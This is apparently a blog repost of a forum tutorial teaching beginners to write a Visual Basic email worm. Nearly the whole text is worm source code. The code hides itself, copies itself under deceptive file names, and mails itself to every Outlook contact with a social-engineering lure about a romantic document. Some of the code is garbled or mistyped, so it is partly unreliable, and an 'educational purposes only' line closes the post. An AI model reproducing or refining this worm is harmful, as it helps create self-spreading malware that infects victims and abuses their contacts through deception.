Creating a simple Visual Basic worm - byzantineattack.blogspot.com

This is credited entirely to mweed4, a super moderator at http://www.infowar.com

mweed4 writes: I forget where and when i picked this up. If you are new, please do try to code as opposed to using a gui such as sub seven, etc.It is great practice for linux, etc.

Now the 1st thing we are going to do is show you what our worm we are going to create is going to perform. The worm we are going to create is w32.N00bie. This worm is not very powerfull but is good for the beginner. To be able to create this worm you will need Microsoft Visual Basic. Visual Basic is a RPD or Rapid Application Builder. We will now begin to make our 1st program in Visual Basic.

Open up Visual Basic and select a Standrad .exe Program. Now, Visual Basic will load a Windows that is titled "Form1" This is the main form for Visual Basic. This is your worm. Double click on the window labeld "form1" and you will see the below text


Private formsub_load()

End Sub


You will be coding between this text. (Image One shows a example of where you will be coding) The 1st thing you will do is hide your worm. A worm must have stealth in order to be considered a "Real" Worm. One way you can hide any Window in Visual Basic is the below code

Form1.Visible = False

That above code will make form1 Invisible Or you could do this

Me.hide

So, Now let's add Me.Hide into our code. So, the code in Visual Basic should now look like the below.

Private Sub form_Load()
Me.Hide
End Sub

Now So far the only thing your worm will do is Hide itself from the user. So, Now let's make the worm's heart. Now I said above a worm must do SOME the following things:

-Email
-Injection
-Infection of files
-File Sharing
-Exploits such as the Dcom Exploit W32.Blaster Used
-Messenger Exploits

In this worm we are going to do Emailing, File Shareing and we will also do some DDoS Attacks and More with the worm on a certain date. So, the 1st thing we want our worm to do is copy itself somewhere on the machine. Why you may ask? This is a Good Question. The reason why is let's say that the worm is launched in the email attachment but some how it is deleted when the user restarts. Well, With a copy of the worm on the machine there is always a good chanche that the worm will be activated again. So Let's have the worm copy itself a few times on the system. So, This is the code to copy itself to other places on the machine. When I say Copyiteself I mean Like Making a Exact Copy of itself to another location with a diffrent name. So, We are going to make this sample worm copy itself to the C:\ Drive using The following File Names:

C:\Worm1.exe
C:\InnocentFile.exe
C:\Me.exe
C:\OpenMe!.exe

So, In Visual Basic in order to have it copy itself with those file names to the c:\ drive we would have to enter the following code. If you study the code you will understand what it means. I have explained the code alittle better below.

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"

Now what does this code mean piece by piece? I will explain it as best I can below:

Filecopy - This means copy a file.

App.Path + - This Means it will copy the Applications Path

"\" - This is hard to explain. You know how when you are typing a location like C:\ and you see the \? Well in this code with out the "\" it would look like this C: Windows Desktop Worme.exe So we have to add this in "\" to get it to look like C:\Windows\Desktop\Worme.exe

App.EXEname + - This means that it's going to make a copy of the Applications Original .Exe Name

.exe - File extenstion

Then after the location of the file has been selected you need to tell Visual Basic where to copy the worm to. So, You see the last part of this code (The Part In Bolad)

Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"

This is where we will specify where we want a copy of the worm to be copied to. So If you changed the last part of the code to C:\Windows\Openme!.exe it would make a copy of the worm to C:\Windows\Openme!.exe

Now, I hope I havent confused you alot. If I have I am sorry! Lol Anyway Your Visual Basic code should now
look like this

Private Form Sub_Load()
Me.hide
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"
End Sub

So Now you have your worm doing the following actions

Hiding itself from the user (Stealthing itself)
Copying a Exact Copy of itself to C:\Worm1.Exe, C:\Innocentfile.exe, C:\Me.exe, C:\Openme.exe

Now, let's make your worm spread. Now, The easiest way for a worm to spread is Via-Email. Email is the #1
Spreading Method of a Internet Worm. So, Now let's add the email code into this program.

(Note: For the email code to work you will need to add a Windows Scripting Control into your program. If you don't then your worm will not preform the email task. You add a WSC the same way you add a Winsock Control)

Now Add this Visual Basic Scripting code into your program's code:

Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "Fwd:None"
Mail.Body = "Do you want to suprise your wife or husband? Do you want to do something Romantic for them?
Wanna find out how to get lucky Sydney has made this Awesome Document Attached. It tells men everything a Lady wants! And Ladies you can add stuff onto it before forwarding it to all your freinds!"
Mail.Attachments.Add = "C:\Worm1.exe"
Mail.Send
Next
ol.Quit

Now your worm emails itself. I want to let you know that when you compile the Visual Basic code that this Vbs Code may give you a error. Well, If it does Delete any code that gives you the error. It's usually the 1st Set So=CreateObject(fso) if this occurs just delete it and then try recompileing. It should work. If it dosent troubleshoot and you will manage to fix the problem! Anyway, Your Visual Basic code should now look like this


Private Form Sub_Load()
Me.hide
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Worm1.Exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\InnocentFile.exe"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\Me.EXE"
Filcopy App.Path + "\" + App.EXEName + ".exe", "C:\OpenMe!.EXE"
Set so = CreateObject(fso)
Set ol = CreateObject("Outlook.Application")
Set out = Wscript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = ol.CreateItem(0)
Mail.to = ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(X)
Mail.Subject = "Fwd:None"
Mail.Body = "Do you want to suprise your wife or husband? Do you want to do something Romantic for them? Wanna find out how to get lucky? has made this Awesome Document Attached. It tells men everything a Lady wants! And Ladies you can add stuff onto it before forwarding it to all your freinds!"
Mail.Attachments.Add = "C:\Worm1.exe"
Mail.Send
Next
ol.Quit
End Sub

Now you have a Worm! How is this a worm? A worm is a file that can email itself, Infect other computers with out having to have a person email the file the worm will do it by itself. please use this for ed. purposes only. (plus any anti virus will pick it up immed.)